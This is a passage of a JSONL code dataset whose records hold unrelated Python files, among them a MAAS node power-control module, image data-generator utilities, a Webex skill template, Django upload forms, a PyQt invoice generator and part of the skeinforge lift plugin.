)\n","sub_path":"nuitka/build/SconsInterface.py","file_name":"SconsInterface.py","file_ext":"py","file_size_in_byte":3203,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"416709290","text":"# Copyright 2014-2018 Canonical Ltd. This software is licensed under the\n# GNU Affero General Public License version 3 (see the file LICENSE).\n\n\"\"\"Power control.\"\"\"\n\n__all__ = [\n \"power_action_registry\",\n \"power_state_update\",\n \"maybe_change_power_state\",\n]\n\nfrom datetime import timedelta\nfrom functools import partial\nimport sys\n\nfrom provisioningserver.drivers.power import (\n get_error_message,\n PowerError,\n)\nfrom provisioningserver.drivers.power.registry import PowerDriverRegistry\nfrom provisioningserver.events import (\n EVENT_TYPES,\n send_node_event,\n)\nfrom provisioningserver.logger import (\n get_maas_logger,\n LegacyLogger,\n)\nfrom provisioningserver.rpc import getRegionClient\nfrom provisioningserver.rpc.exceptions import (\n NoSuchNode,\n PowerActionAlreadyInProgress,\n PowerActionFail,\n)\nfrom provisioningserver.rpc.region import (\n MarkNodeFailed,\n UpdateNodePowerState,\n)\nfrom provisioningserver.utils.twisted import (\n asynchronous,\n callOut,\n deferred,\n deferWithTimeout,\n)\nfrom twisted.internet import reactor\nfrom twisted.internet.defer import (\n CancelledError,\n DeferredList,\n DeferredSemaphore,\n inlineCallbacks,\n returnValue,\n succeed,\n)\nfrom twisted.internet.task import deferLater\n\n\nmaaslog = get_maas_logger(\"power\")\nlog = LegacyLogger()\n\n# Timeout for change_power_state(). We set it to 5 minutes by default,\n# but it would be lovely if this was configurable. This is only a backstop\n# meant to cope with broken BMCs.\nCHANGE_POWER_STATE_TIMEOUT = timedelta(minutes=5).total_seconds()\n\n# We could use a Registry here, but it seems kind of like overkill.\npower_action_registry = {}\n\n\n@asynchronous\ndef power_state_update(system_id, state):\n \"\"\"Report to the region about a node's power state.\n\n :param system_id: The system ID for the node.\n :param state: Typically \"on\", \"off\", or \"error\".\n \"\"\"\n client = getRegionClient()\n maaslog.error(\n \"Power_state_update: Invoke client UpdateNodePowerState - power state (%s) system_id (%s)\",\n state, system_id)\n return client(\n UpdateNodePowerState,\n system_id=system_id,\n power_state=state)\n\n\n@asynchronous(timeout=15)\n@inlineCallbacks\ndef power_change_failure(system_id, hostname, power_change, message):\n \"\"\"Report a node that for which power control has failed.\"\"\"\n assert power_change in ['on', 'off', 'cycle'], (\n \"Unknown power change: %s\" % power_change)\n maaslog.error(\n \"Power_change_failure: Error changing power state (%s) of node: %s (%s)\",\n power_change, hostname, system_id)\n client = getRegionClient()\n yield client(\n MarkNodeFailed,\n system_id=system_id,\n error_description=message,\n )\n if power_change == 'on':\n event_type = EVENT_TYPES.NODE_POWER_ON_FAILED\n elif power_change == 'off':\n event_type = EVENT_TYPES.NODE_POWER_OFF_FAILED\n elif power_change == 'cycle':\n event_type = EVENT_TYPES.NODE_POWER_CYCLE_FAILED\n yield send_node_event(event_type, system_id, hostname, message)\n\n\n@asynchronous\ndef perform_power_driver_change(\n system_id, hostname, power_type, power_change, context):\n \"\"\"Execute power driver `power_change` method.\n\n On failure the node will be marked as broken and the error will be\n re-raised to the caller.\n \"\"\"\n power_driver = PowerDriverRegistry.get_item(power_type)\n\n if power_change == 'on':\n d = power_driver.on(system_id, context)\n elif power_change == 'off':\n d = power_driver.off(system_id, context)\n elif power_change == 'cycle':\n d = power_driver.cycle(system_id, context)\n\n def power_change_failed(failure):\n maaslog.error(\"Perform_power_driver_change - Power %s for the node failed...\", \n power_change)\n message = \"Power %s for the node failed: %s\" % (\n power_change, get_error_message(failure.value))\n df = power_change_failure(system_id, hostname, power_change, message)\n df.addCallback(lambda _: failure) # Propagate the original error.\n return df\n\n return d.addErrback(power_change_failed)\n\n\n@asynchronous\n@inlineCallbacks\ndef power_change_success(system_id, hostname, power_change):\n \"\"\"Report about a successful node power state change.\n\n This updates the region's record of the node's power state, logs to the\n MAAS log, and appends to the node's event log.\n\n :param system_id: The system ID for the node.\n :param hostname: The node's hostname, used in messages.\n :param power_change: \"on\" or \"off\".\n \"\"\"\n assert power_change in ['on', 'off'], (\n \"Unknown power change: %s\" % power_change)\n yield power_state_update(system_id, power_change)\n maaslog.info(\n \"Changed power state (%s) of node: %s (%s)\",\n power_change, hostname, system_id)\n # Emit success event.\n if power_change == 'on':\n event_type = EVENT_TYPES.NODE_POWERED_ON\n elif power_change == 'off':\n event_type = EVENT_TYPES.NODE_POWERED_OFF\n yield send_node_event(event_type, system_id, hostname)\n\n\n@asynchronous\n@inlineCallbacks\ndef power_change_starting(system_id, hostname, power_change):\n \"\"\"Report about a node power state change starting.\n\n This logs to the MAAS log, and appends to the node's event log.\n\n :param system_id: The system ID for the node.\n :param hostname: The node's hostname, used in messages.\n :param power_change: \"on\", \"off\", or \"cycle\".\n \"\"\"\n assert power_change in ['on', 'off', 'cycle'], (\n \"Unknown power change: %s\" % power_change)\n maaslog.error(\n \"Power_Change_Starting: Changing power state (%s) of node: %s (%s)\",\n power_change, hostname, system_id)\n # Emit starting event.\n if power_change == 'on':\n event_type = EVENT_TYPES.NODE_POWER_ON_STARTING\n elif power_change == 'off':\n event_type = EVENT_TYPES.NODE_POWER_OFF_STARTING\n elif power_change == 'cycle':\n event_type = EVENT_TYPES.NODE_POWER_CYCLE_STARTING\n yield send_node_event(event_type, system_id, hostname)\n\n\n@asynchronous\n@deferred # Always return a Deferred.\ndef maybe_change_power_state(\n system_id, hostname, power_type, power_change, context,\n clock=reactor):\n \"\"\"Attempt to change the power state of a node.\n\n If there is no power action already in progress, register this\n action and then pass change_power_state() to the reactor to call\n later and then return.\n\n This function exists to guarantee that PowerActionAlreadyInProgress\n errors will be raised promptly, before any work is done to power the\n node on.\n\n :raises: PowerActionAlreadyInProgress if there's already a power\n action in progress for this node.\n \"\"\"\n assert power_change in ('on', 'off', 'cycle'), (\n \"Unknown power change: %s\" % power_change)\n\n power_driver = PowerDriverRegistry.get_item(power_type)\n if power_driver is None:\n raise PowerActionFail(\n \"Unknown power_type '%s'\" % power_type)\n missing_packages = power_driver.detect_missing_packages()\n if len(missing_packages):\n raise PowerActionFail(\n \"'%s' package(s) are not installed\" % \" \".join(\n missing_packages))\n\n # There should be one and only one power change for each system ID.\n if system_id in power_action_registry:\n current_power_change, d = power_action_registry[system_id]\n else:\n current_power_change, d = None, None\n\n if current_power_change is None:\n # Arrange for the power change to happen later; do not make the caller\n # wait, because it might take a long time. We set a timeout so that if\n # the power action doesn't return in a timely fashion (or fails\n # silently or some such) it doesn't block other actions on the node.\n d = deferLater(\n clock, 0, deferWithTimeout, CHANGE_POWER_STATE_TIMEOUT,\n change_power_state, system_id, hostname, power_type, power_change,\n context, clock)\n\n power_action_registry[system_id] = power_change, d\n\n # Whether we succeed or fail, we need to remove the action from the\n # registry of actions, otherwise subsequent actions will fail.\n d.addBoth(callOut, power_action_registry.pop, system_id, None)\n\n # Log cancellations distinctly from other errors.\n def eb_cancelled(failure):\n failure.trap(CancelledError)\n log.msg(\n \"%s: Power could not be set to %s; timed out.\"\n % (hostname, power_change))\n return power_change_failure(\n system_id, hostname, power_change, \"Timed out\")\n d.addErrback(eb_cancelled)\n\n # Catch-all log.\n d.addErrback(\n log.err, \"%s: Power %s failed.\" % (\n hostname, power_change))\n\n elif current_power_change == power_change:\n # What we want is already happening; let it continue.\n pass\n\n else:\n # Right now we reject conflicting power changes. However, we have the\n # Deferred (in `d`) along which the current power change is occurring,\n # so the option to cancel is available if we want it.\n raise PowerActionAlreadyInProgress(\n \"Unable to change power state to '%s' for node %s: another \"\n \"action is already in progress for that node.\" %\n (power_change, hostname))\n\n\n@asynchronous\n@inlineCallbacks\ndef change_power_state(\n system_id, hostname, power_type, power_change, context,\n clock=reactor):\n \"\"\"Change the power state of a node.\n\n This monitors the result of the power change by querying the power state\n of the node, thus attempting to ensure that the requested change has taken\n place.\n\n Success is reported using `power_change_success`. Power-related failures\n are reported using `power_change_failure`. Other failures must be reported\n by the caller.\n \"\"\"\n yield power_change_starting(system_id, hostname, power_change)\n yield perform_power_driver_change(\n system_id, hostname, power_type, power_change, context)\n if power_type not in PowerDriverRegistry:\n returnValue(None)\n power_driver = PowerDriverRegistry.get_item(power_type)\n if not power_driver.queryable:\n returnValue(None)\n new_power_state = yield perform_power_driver_query(\n system_id, hostname, power_type, context)\n if new_power_state == \"unknown\" or new_power_state == power_change:\n yield power_change_success(system_id, hostname, power_change)\n elif new_power_state == 'on' and power_change == 'cycle':\n yield power_change_success(system_id, hostname, new_power_state)\n returnValue(new_power_state)\n\n\n@asynchronous\ndef perform_power_driver_query(system_id, hostname, power_type, context):\n \"\"\"Query the node's power state.\n\n No exception handling is performed here. This allows `get_power_state` to\n perform multiple queries and only log the final error.\n\n :param power_type: This must refer to one of the Python-based power\n drivers, and *not* to a template-based one.\n \"\"\"\n # Get power driver for given power type\n power_driver = PowerDriverRegistry[power_type]\n return power_driver.query(system_id, context)\n\n\n@asynchronous\n@inlineCallbacks\ndef get_power_state(system_id, hostname, power_type, context, clock=reactor):\n \"\"\"Return the power state of the given node.\n\n :return: The string \"on\", \"off\" or \"unknown\".\n :raises PowerActionFail: When there's a failure querying the node's\n power state.\n \"\"\"\n def check_power_state(state):\n if state not in (\"on\", \"off\", \"unknown\"):\n # This is considered an error.\n raise PowerActionFail(state)\n\n # Capture errors as we go along.\n exc_info = None, None, None\n\n power_driver = PowerDriverRegistry.get_item(power_type)\n if power_driver is None:\n raise PowerActionFail(\n \"Unknown power_type '%s'\" % power_type)\n missing_packages = power_driver.detect_missing_packages()\n if len(missing_packages):\n raise PowerActionFail(\n \"'%s' package(s) are not installed\" % \", \".join(\n missing_packages))\n try:\n power_state = yield perform_power_driver_query(\n system_id, hostname, power_type, context)\n check_power_state(power_state)\n except:\n # Hold the error; it will be reported later.\n exc_info = sys.exc_info()\n else:\n returnValue(power_state)\n\n # Reaching here means that things have gone wrong.\n assert exc_info != (None, None, None)\n exc_type, exc_value, exc_trace = exc_info\n raise exc_type(exc_value).with_traceback(exc_trace)\n\n\n@inlineCallbacks\ndef power_query_success(system_id, hostname, state):\n \"\"\"Report a node that for which power querying has succeeded.\"\"\"\n message = \"Power state queried: %s\" % state\n yield power_state_update(system_id, state)\n yield send_node_event(\n EVENT_TYPES.NODE_POWER_QUERIED_DEBUG,\n system_id, hostname, message)\n\n\n@inlineCallbacks\ndef power_query_failure(system_id, hostname, failure):\n \"\"\"Report a node that for which power querying has failed.\"\"\"\n maaslog.error(\"%s: Power state could not be queried: %s\" % (\n hostname, failure.getErrorMessage()))\n yield power_state_update(system_id, 'error')\n yield send_node_event(\n EVENT_TYPES.NODE_POWER_QUERY_FAILED,\n system_id, hostname, failure.getErrorMessage())\n\n\n@asynchronous\ndef report_power_state(d, system_id, hostname):\n \"\"\"Report the result of a power query.\n\n :param d: A `Deferred` that will fire with the node's updated power state,\n or an error condition. The callback/errback values are passed through\n unaltered. See `get_power_state` for details.\n \"\"\"\n def cb(state):\n d = power_query_success(system_id, hostname, state)\n d.addCallback(lambda _: state)\n return d\n\n def eb(failure):\n d = power_query_failure(system_id, hostname, failure)\n d.addCallback(lambda _: failure)\n return d\n\n return d.addCallbacks(cb, eb)\n\n\ndef maaslog_report_success(node, power_state):\n \"\"\"Log change in power state for node.\"\"\"\n if node['power_state'] != power_state:\n maaslog.info(\n \"%s: Power state has changed from %s to %s.\", node['hostname'],\n node['power_state'], power_state)\n return power_state\n\n\ndef maaslog_report_failure(node, failure):\n \"\"\"Log failure to query node.\"\"\"\n if failure.check(PowerActionFail, PowerError):\n maaslog.error(\n \"%s: Could not query power state: %s.\",\n node['hostname'], failure.getErrorMessage())\n elif failure.check(NoSuchNode):\n maaslog.debug(\n \"%s: Could not update power state: \"\n \"no such node.\", node['hostname'])\n else:\n maaslog.error(\n \"%s: Failed to refresh power state: %s\",\n node['hostname'], failure.getErrorMessage())\n # XXX: newell 07-25-16 bug=1600264: Will re-instate\n # the traceback logging with python.twisted.log once\n # Debug is added for the rack controller.\n # # Also write out a full traceback to the server log.\n # log.err(failure, \"Failed to refresh power state.\")\n\n\ndef query_node(node, clock):\n \"\"\"Calls `get_power_state` on the given node.\n\n Logs to maaslog as errors and power states change.\n \"\"\"\n if node['system_id'] in power_action_registry:\n maaslog.debug(\n \"%s: Skipping query power status, \"\n \"power action already in progress.\",\n node['hostname'])\n return succeed(None)\n else:\n d = get_power_state(\n node['system_id'], node['hostname'], node['power_type'],\n node['context'], clock=clock)\n d = report_power_state(d, node['system_id'], node['hostname'])\n d.addCallbacks(\n partial(maaslog_report_success, node),\n partial(maaslog_report_failure, node))\n return d\n\n\ndef query_all_nodes(nodes, max_concurrency=5, clock=reactor):\n \"\"\"Queries the given nodes for their power state.\n\n Nodes' states are reported back to the region.\n\n :return: A deferred, which fires once all nodes have been queried,\n successfully or not.\n \"\"\"\n semaphore = DeferredSemaphore(tokens=max_concurrency)\n queries = (\n semaphore.run(query_node, node, clock)\n for node in nodes if node['power_type'] in PowerDriverRegistry)\n return DeferredList(queries, consumeErrors=True)\n","sub_path":"provisioningserver/rpc/power.py","file_name":"power.py","file_ext":"py","file_size_in_byte":16559,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"538040169","text":"'''\r\nAuthor Junbong Jang\r\nDate 5/21/2021\r\n\r\nutility functions for train and predict data generators\r\n'''\r\n\r\nimport cv2\r\nimport numpy as np\r\nimport re\r\nfrom joblib import Parallel, delayed\r\n\r\n\r\ndef sort_frame_crop_filenames(filenames):\r\n\r\n def find_frame_crop_number(filename):\r\n filename = filename.split('/')[-1]\r\n\r\n regex = re.compile(r'.*_c')\r\n frame_id = regex.findall(filename)[0]\r\n\r\n regex = re.compile(r'_c\\d+_')\r\n crop_id = regex.findall(filename)[0] # example: '_c40_'\r\n crop_id = int(crop_id.replace('_c', '').replace('_', ''))\r\n\r\n return frame_id, crop_id\r\n\r\n # For instance, parse ../crop/generated/crop_even_input256_FNA_valid_fold0/mask_repeat0/pk2777-third-0620_c9_even_input256.png\r\n filenames.sort(key=find_frame_crop_number)\r\n assert_crop_increment_filenames(filenames)\r\n\r\n return filenames\r\n\r\n\r\ndef assert_crop_increment_filenames(filenames):\r\n prev_crop_id = 0\r\n prev_max_crop_id = 0\r\n for filename in filenames:\r\n filename = filename.split('/')[-1]\r\n\r\n regex = re.compile(r'_c\\d+_')\r\n crop_id = regex.findall(filename)[0] # example: '_c40_'\r\n crop_id = int(crop_id.replace('_c', '').replace('_', ''))\r\n \r\n if crop_id >= prev_crop_id: # assume crop id increment one by one\r\n prev_crop_id = crop_id\r\n elif prev_max_crop_id == 0:\r\n prev_max_crop_id = crop_id # first time setting prev_max_crop_id\r\n prev_crop_id = 0\r\n elif prev_max_crop_id == crop_id: # check the next time crop id reaches the prev_max_crop_id\r\n prev_crop_id = 0\r\n else:\r\n raise ValueError('crop id is not incrementing correctly')\r\n\r\n\r\ndef assert_same_two_filenames(first_filenames, second_filenames):\r\n for first_filename, second_filename in zip(first_filenames, second_filenames):\r\n assert first_filename.split('/')[-1] == second_filename.split('/')[-1]\r\n\r\n\r\ndef threshold_mask_area_list(image_height, image_width, mask_area_list, threshold_percentage):\r\n min_mask_area_threshold = image_height * image_width * threshold_percentage * 0.01\r\n return [mask_area > min_mask_area_threshold for mask_area in mask_area_list]\r\n\r\n\r\ndef convert_masks_to_areas(mask_list):\r\n mask_area_list = np.zeros(mask_list.shape[0])\r\n for i, mask in enumerate(mask_list):\r\n mask_area_list[i] = np.sum(mask > 0)\r\n return mask_area_list\r\n\r\n\r\ndef convert_masks_to_classes(image_height, image_width, mask_list):\r\n min_mask_area_threshold = image_height * image_width * 0.01\r\n mask_class_list = np.zeros(mask_list.shape[0])\r\n for i, mask in enumerate(mask_list):\r\n mask_class_list[i] = np.sum(mask > 0) > min_mask_area_threshold\r\n return mask_class_list\r\n\r\n\r\ndef read_images(image_path_list):\r\n # https://stackoverflow.com/questions/33778155/python-parallelized-image-reading-and-preprocessing-using-multiprocessing\r\n images = Parallel(n_jobs=4, verbose=1)(\r\n delayed(cv2.imread)(image_path, cv2.IMREAD_GRAYSCALE) for image_path in image_path_list\r\n )\r\n return images\r\n\r\n\r\ndef read_color_images(image_path_list):\r\n images = Parallel(n_jobs=4, verbose=1)(\r\n delayed(cv2.imread)(image_path, cv2.IMREAD_COLOR) for image_path in image_path_list\r\n )\r\n return images\r\n\r\n\r\ndef unison_shuffle_lists(a, b):\r\n assert len(a) == len(b)\r\n p = np.random.permutation(len(a))\r\n a = [a[i] for i in p]\r\n b = [b[i] for i in p]\r\n return a, b\r\n\r\n\r\ndef unison_shuffle_ndarrays(a, b):\r\n assert len(a) == len(b)\r\n\r\n shuffler = np.random.permutation(len(a))\r\n a_shuffled = a[shuffler]\r\n b_shuffled = b[shuffler]\r\n\r\n return a_shuffled, b_shuffled\r\n\r\n\r\n# def unison_shuffle_multiple_ndarrays(*args):\r\n # assert len(args[0]) == len(args[0])\r\n # assert len(args[0]) == len(args[-1])\r\n #\r\n # shuffler = np.random.permutation(len(args[0]))\r\n # shuffled_args = []\r\n # for i in range(len(args)):\r\n # shuffled_args.append(args[i][shuffler])\r\n\r\ndef unison_shuffle_multiple_ndarrays(a,b,c,d):\r\n assert len(a) == len(b)\r\n assert len(a) == len(c)\r\n \r\n shuffler = np.random.permutation(len(a))\r\n a_shuffled = a[shuffler]\r\n b_shuffled = b[shuffler]\r\n c_shuffled = c[shuffler]\r\n d_shuffled = d[shuffler]\r\n\r\n return a_shuffled, b_shuffled, c_shuffled, d_shuffled\r\n\r\n\r\ndef regex_find_crop_id(filename):\r\n regex = re.compile(r'_c\\d+_')\r\n crop_id = regex.findall(filename)[0] # example: '/_c40'\r\n\r\n return crop_id\r\n\r\n\r\ndef regex_find_frame_id(filename):\r\n regex = re.compile(r'/f\\d+_c')\r\n frame_id = regex.findall(filename)[0] # example: '/f040_c'\r\n\r\n return frame_id\r\n\r\n\r\ndef regex_find_prev_filenames(cur_filename, max_prev_frame_num):\r\n # For the given current frame, get n previous frames\r\n # cur_frame_id_string: '/f040_c', crop_id_string: 'c0'\r\n cur_frame_id_string = regex_find_frame_id(cur_filename)\r\n crop_id_string = regex_find_crop_id(cur_filename)\r\n\r\n cur_frame_id = int(cur_frame_id_string.replace('/f', '').replace('_c', ''))\r\n\r\n if cur_frame_id - max_prev_frame_num < 0:\r\n return None\r\n else:\r\n prev_filenames = []\r\n for prev_counter in range(1, max_prev_frame_num+1):\r\n prev_frame_id = f\"/f{(cur_frame_id - prev_counter):03d}{crop_id_string}\"\r\n prev_filenames.append(cur_filename.replace(f\"{cur_frame_id_string.replace('_c', '')}{crop_id_string}\", prev_frame_id))\r\n\r\n return prev_filenames","sub_path":"data_handle/data_generator_utils.py","file_name":"data_generator_utils.py","file_ext":"py","file_size_in_byte":5474,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"631250502","text":"# -*- coding: utf-8 -*-\n\"\"\"This module contains an empty application container.\nIt is defined here to avoid circular imports\n\"\"\"\nfrom pathlib import Path\n\nfrom webex_assistant_sdk.app import SkillApplication\nfrom webex_assistant_sdk.crypto import load_private_key_from_file\n\nsecret = '{{cookiecutter.app_secret}}'\n\nkey = load_private_key_from_file(str(Path(__file__).resolve().parent / 'id_rsa.pem'))\napp = SkillApplication(__name__, secret=secret, private_key=key)\n\n\n@app.introduce()\n@app.handle(intent='greet')\ndef greet(request, responder):\n del request\n responder.reply('Hi, I am {{cookiecutter.skill_name}}!')\n\n\n@app.handle(intent='exit')\ndef exit_(request, responder):\n del request\n responder.reply('Bye!')\n\n\n@app.middleware\ndef add_sleep(request, responder, handler):\n handler(request, responder)\n # ensure response ends with `listen` or `sleep`\n if responder.directives[-1]['name'] not in {'listen', 'sleep'}:\n responder.sleep()\n\n\n__all__ = ['app']\n","sub_path":"webex_assistant_sdk/templates/mindmeld_template/{{cookiecutter.skill_name}}/{{cookiecutter.skill_name}}/root.py","file_name":"root.py","file_ext":"py","file_size_in_byte":985,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"475411120","text":"import re\nimport requests\n\nf = open('source.txt', 'r', encoding='utf-8')\nhtml = f.read()\nf.close()\nimgs = re.findall(\"src='(.*?)'\", html, re.S)\ncount = 0\nfor img in imgs:\n print('现在正在下载:', img)\n pic = requests.get(img)\n fp = open('pic\\\\' + str(count) + '.jpg', 'wb')\n fp.write(pic.content)\n fp.close()\n count += 1\n","sub_path":"文本爬虫/index.py","file_name":"index.py","file_ext":"py","file_size_in_byte":344,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"191338836","text":"from django import forms\nfrom django.utils.translation import ugettext_lazy as _\n\nfrom ..models.closing import ClosingEcf\nfrom ..mixins.validators import (\n validate_ret, validate_csv, validate_561, validate_562, validate_closing, validate_loan, validate_cc)\n\n\nclass ClosingEcfRETForm(forms.ModelForm):\n file_loan = forms.FileField(label=_('Arquivo de empréstimo'), validators=[validate_ret, validate_561])\n file_cc = forms.FileField(label=_('Arquivo de abertura de contas'), validators=[validate_ret, validate_562])\n\n class Meta:\n model = ClosingEcf\n fields = ('month_date', 'file_loan', 'file_cc')\n\n\nclass ClosingEcfCSVForm(forms.ModelForm):\n file_csv = forms.FileField(label=_('Arquivo de fechamento'), validators=[validate_csv, validate_closing])\n\n class Meta:\n model = ClosingEcf\n fields = ('month_date', 'file_csv',)\n\n\nclass ClosingEcfCSVDailyForm(forms.ModelForm):\n file_loan_daily = forms.FileField(label=_('Arquivo de empréstimo diário'), validators=[validate_csv, validate_loan])\n file_cc_daily = forms.FileField(label=_('Arquivo de abertura de contas diário'), validators=[validate_csv, validate_cc])\n\n class Meta:\n model = ClosingEcf\n fields = ('month_date', 'file_loan_daily', 'file_cc_daily')\n","sub_path":"siscoban/financial/forms/closing.py","file_name":"closing.py","file_ext":"py","file_size_in_byte":1280,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"44066359","text":"def division():\n '''功能,分苹果'''\n print(\"\\n========分苹果了=======\\n\")\n apple = int(input(\"请输入苹果的个数:\"))\n children = int(input(\"请输入来了几个小朋友:\"))\n assert apple > children, \"苹果不够分\"\n # 计算每人分几个苹果\n result = apple // children\n # 计算余下几个苹果\n remain = apple - result * children\n if remain > 0:\n print(apple, \"个苹果,平均分给\",children,\"个小朋友,每人分\",result,\"个,剩下\",remain,\"个。\")\n else:\n print(apple,\"个苹果,平均分给\",children,\"个小朋友,每人分\",result,\"个���\")\nif __name__ == '__main__':\n try:\n division()\n except ValueError as e:\n print(\"\\n出错了\",e)\n","sub_path":"python/action_ten/division_apple.py","file_name":"division_apple.py","file_ext":"py","file_size_in_byte":753,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"447144819","text":"from PyQt4.QtGui import *\r\nfrom PyQt4.QtCore import *\r\n\r\nimport sys\r\nimport random\r\n\r\n\r\nclass Print():\r\n\r\n def getCurrentDate(self,dateFormat):\r\n date = QDate.currentDate().toString(dateFormat)\r\n return date\r\n\r\n def statementHtml(self):\r\n\r\n companyName = \"C3 Media Department\"\r\n date = self.getCurrentDate(\"dd.MM.yyyy\")\r\n\r\n jobItems = [[\"\",\"30.00\",\"5\",\"150.00\"],[\"Angle Beading 3M\",\"7.00\",\"5\",\"35.00\"]]\r\n\r\n invoiceId = random.randint(0,1000)\r\n amountDue = 0.0\r\n for each in jobItems:\r\n price = float(each[3])\r\n amountDue += price\r\n amountAfterTax = amountDue * 1.2\r\n address = [\"14 Alpha Terrace\",\"Trumpington\",\"Cambridgeshire\",\"CB2 9HT\"]\r\n \r\n \r\n \r\n \r\n html = u\"\"\r\n html += (\"

{0}

\"\r\n \"\").format(companyName)\r\n\r\n for each in address:\r\n html += (\"\").format(each)\r\n\r\n\r\n html += (\"
{0}
\"\r\n \"\"\r\n \"\"\r\n \"\"\r\n \"\"\r\n \"
Invoice #{0}
Date{1}
Amount Due{2}
\"\r\n \"

\"\r\n \"\"\r\n \"\").format(invoiceId,date,amountDue)\r\n\r\n for item in jobItems:\r\n html += (\"\").format(item[0],item[1],item[2],item[3])\r\n\r\n html += (\"\"\r\n \"\").format(amountDue,amountAfterTax)\r\n\r\n html += (\"
ItemLoan LengthQuantityPrice
{0}{1}{2}{3}
Sub Total{0}
Total (20% VAT added){1}
\"\r\n \"
\"\r\n \"
\"\r\n \"

{0}

\").format(companyName)\r\n\r\n\r\n return html\r\n\r\n","sub_path":"src/printing.py","file_name":"printing.py","file_ext":"py","file_size_in_byte":2189,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"274131972","text":"\"\"\"\nThis page is in the table of contents.\nLift will change the altitude of the cutting tool when it is on so that it will cut through the slab at the correct altitude. It will also lift the gcode when the tool is off so that the cutting tool will clear the top of the slab.\n\n==Operation==\nThe default 'Activate Lift' checkbox is on. When it is on, the functions described below will work, when it is off, the functions will not be called.\n\n==Settings==\n===Cutting Lift over Layer Step===\nDefault is minus 0.5, because the end mill is the more common tool.\n\nDefines the ratio of the amount the cutting tool will be lifted over the layer step. If whittle is off the layer step will be the layer thickness, if it is on, it will be the layer step from the whittle gcode. If the cutting tool is like an end mill, where the cutting happens until the end of the tool, then the 'Cutting Lift over Layer Step' should be minus 0.5, so that the end mill cuts to the bottom of the slab. If the cutting tool is like a laser, where the cutting happens around the focal point. the 'Cutting Lift over Layer Step' should be zero, so that the cutting action will be focused in the middle of the slab.\n\n===Clearance above Top===\nDefault is 5 millimeters.\n\nDefines the distance above the top of the slab the cutting tool will be lifted when will tool is off so that the cutting tool will clear the top of the slab.\n\n==Examples==\nThe following examples lift the file Screw Holder Bottom.stl. The examples are run in a terminal in the folder which contains Screw Holder Bottom.stl and lift.py.\n\n\n> python lift.py\nThis brings up the lift dialog.\n\n\n> python lift.py Screw Holder Bottom.stl\nThe lift tool is parsing the file:\nScrew Holder Bottom.stl\n..\nThe lift tool has created the file:\n.. Screw Holder Bottom_lift.gcode\n\n\n> python\nPython 2.5.1 (r251:54863, Sep 22 2007, 01:43:31)\n[GCC 4.2.1 (SUSE Linux)] on linux2\nType \"help\", \"copyright\", \"credits\" or \"license\" for more information.\n>>> import lift\n>>> lift.main()\nThis brings up the lift dialog.\n\n\n>>> lift.writeOutput( 'Screw Holder Bottom.stl' )\nThe lift tool is parsing the file:\nScrew Holder Bottom.stl\n..\nThe lift tool has created the file:\n.. Screw Holder Bottom_lift.gcode\n\n\"\"\"\n\nfrom __future__ import absolute_import\ntry:\n\timport psyco\n\tpsyco.full()\nexcept:\n\tpass\n#Init has to be imported first because it has code to workaround the python bug where relative imports don't work if the module is imported as a main module.\nimport __init__\n\nfrom skeinforge_tools import profile\nfrom skeinforge_tools.meta_plugins import polyfile\nfrom skeinforge_tools.skeinforge_utilities import consecution\nfrom skeinforge_tools.skeinforge_utilities import gcodec\nfrom skeinforge_tools.skeinforge_utilities import interpret\nfrom skeinforge_tools.skeinforge_utilities import settings\nimport sys\n\n\n__author__ = \"Enrique Perez (perez_enrique@yahoo.com)\"\n__date__ = \"$Date: 2008/28/04 $\"\n__license__ = \"GPL 3.0\"\n\n\ndef getCraftedText( fileName, text = '', liftRepository = None ):\n\t\"Lift the preface file or text.\"\n\treturn getCraftedTextFromText( gcodec.getTextIfEmpty( fileName, text ), liftRepository )\n\ndef getCraftedTextFromText( gcodeText, liftRepository = None ):\n\t\"Lift the preface gcode text.\"\n\tif gcodec.isProcedureDoneOrFileIsEmpty( gcodeText, 'lift' ):\n\t\treturn gcodeText\n\tif liftRepository == None:\n\t\tliftRepository = settings.getReadRepository( LiftRepository() )\n\tif not liftRepository.activateLift.value:\n\t\treturn gcodeText\n\treturn LiftSkein().getCraftedGcode( liftRepository, gcodeText )\n\ndef getNewRepository():\n\t\"Get the repository constructor.\"\n\treturn LiftRepository()\n\ndef writeOutput( fileName = '' ):\n\t\"Lift the carving of a gcode file.\"\n\tfileName = interpret.getFirstTranslatorFileNameUnmodified( fileName )\n\tif fileName != '':\n\t\tconsecution.writeChainTextWithNounMessage( fileName, 'lift' )\n\n\nclass LiftRepository:\n\t\"A class to handle the lift settings.\"\n\tdef __init__( self ):\n\t\t\"Set the default settings, execute title & settings fileName.\"\n\t\tprofile.addListsToCraftTypeRepository( 'skeinforge_tools.craft_plugins.lift.html', self )\n\t\tself.fileNameInput = settings.FileNameInput().getFromFileName( interpret.getGNUTranslatorGcodeFileTypeTuples(), 'Open File to be Lifted', self, '' )\n\t\tself.activateLift = settings.BooleanSetting().getFromValue( 'Activate Lift:', self, True )\n\t\tself.cuttingLiftOverLayerStep = settings.FloatSpin().getFromValue( - 1.0, 'Cutting Lift over Layer Step (ratio):', self, 1.0, - 0.5 )\n\t\tself.clearanceAboveTop = settings.FloatSpin().getFromValue( 0.0, 'Clearance above Top (mm):', self, 10.0, 5.0 )\n\t\tself.executeTitle = 'Lift'\n\n\tdef execute( self ):\n\t\t\"Lift button has been clicked.\"\n\t\tfileNames = polyfile.getFileOrDirectoryTypesUnmodifiedGcode( self.fileNameInput.value, interpret.getImportPluginFileNames(), self.fileNameInput.wasCancelled )\n\t\tfor fileName in fileNames:\n\t\t\twriteOutput( fileName )\n\n\nclass LiftSkein:\n\t\"A class to lift a skein of extrusions.\"\n\tdef __init__( self ):\n\t\tself.distanceFeedRate = gcodec.DistanceFeedRate()\n\t\tself.extruderActive = False\n\t\tself.layerStep = None\n\t\tself.layerThickness = 0.3333333333\n\t\tself.lineIndex = 0\n\t\tself.maximumZ = - 